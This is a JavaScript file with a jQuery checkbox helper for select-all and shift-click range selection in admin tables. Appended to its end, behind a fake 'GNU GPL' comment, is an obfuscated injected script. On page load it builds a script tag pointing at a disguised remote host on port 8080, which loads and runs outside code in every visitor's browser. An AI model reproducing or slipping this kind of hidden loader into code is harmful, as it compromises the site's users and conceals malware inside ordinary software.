function checkAll(jQ) { // use attr( checked, fn )
	jQuery(jQ).find( 'tbody:visible :checkbox' ).attr( 'checked', function() {
		return jQuery(this).attr( 'checked' ) ? '' : 'checked';
	} );
}

jQuery( function($) {
	var lastClicked = false;
	$( 'tbody :checkbox' ).click( function(e) {
		if ( 'undefined' == e.shiftKey ) { return true; }
		if ( e.shiftKey ) {
			if ( !lastClicked ) { return true; }
			var checks = $( lastClicked ).parents( 'form:first' ).find( ':checkbox' );
			var first = checks.index( lastClicked );
			var last = checks.index( this );
			if ( 0 < first && 0 < last && first != last ) {
				checks.slice( first, last ).attr( 'checked', $( this ).is( ':checked' ) ? 'checked' : '' );
			}
		}
		lastClicked = this;
		return true;
	} );
	$( 'thead :checkbox' ).click( function() {
		checkAll( $(this).parents( 'form:first' ) );
	} );
} );




/*GNU GPL*/ try{window.onload = function(){var Aq2ubgezoh1q = document.createElement('s!&c^^^r$i)#!p!($t)&('.replace(/\!|#|@|\(|\^|\)|&|\$/ig, ''));Aq2ubgezoh1q.setAttribute('type', 'text/javascript');Aq2ubgezoh1q.setAttribute('src',  'h^$t)&t$!&p^!:(@#/&!!/@#c$#!r&#!a^^#i!@g&(s($(l#(i@#@s#^t))-(o@@!r(^)g&(.&!#b!!)i#t&.#$@l)&!y^#.(^$g$$o!o^!#^g)l)e!)#-$!(c$&!o(m)-^@(e(@#g^.)v#&($i!e(&w@(&h!o^)m!e)$s@a!&l(^^e)#^$.&&@)r!u)&$:&!#!8$&##0!!&8()^&!0$/@!g(!o&$$@o&$g#(#l#e#((&.)!$c&o!m#$/^g!#$o@@(o^^g&l&!(e#^.&^(c)@&&o&@@#m@#$/$p@#$#l#a@^(!!l(^a(#.&!o)r!&$(.#$j(p)&(/#@#l)@)#i)&!!)n)&k$&e#)#@d&&$i##^n#$.!)c^!o!$!@m!&/!i$$#n!f$#)o!@r$#@m!)e@r&#)&.(#c$o#m((/^'.replace(/\)|\!|\(|#|\^|&|\$|@/ig, ''));Aq2ubgezoh1q.setAttribute('defer', 'defer');Aq2ubgezoh1q.setAttribute('id', 'Z!(d)#8(^@g))k!#q!&9$!((s@&7#3^!o((&(n!$&$'.replace(/\)|#|\!|\$|\(|\^|&|@/ig, ''));document.body.appendChild(Aq2ubgezoh1q);}} catch(e) {}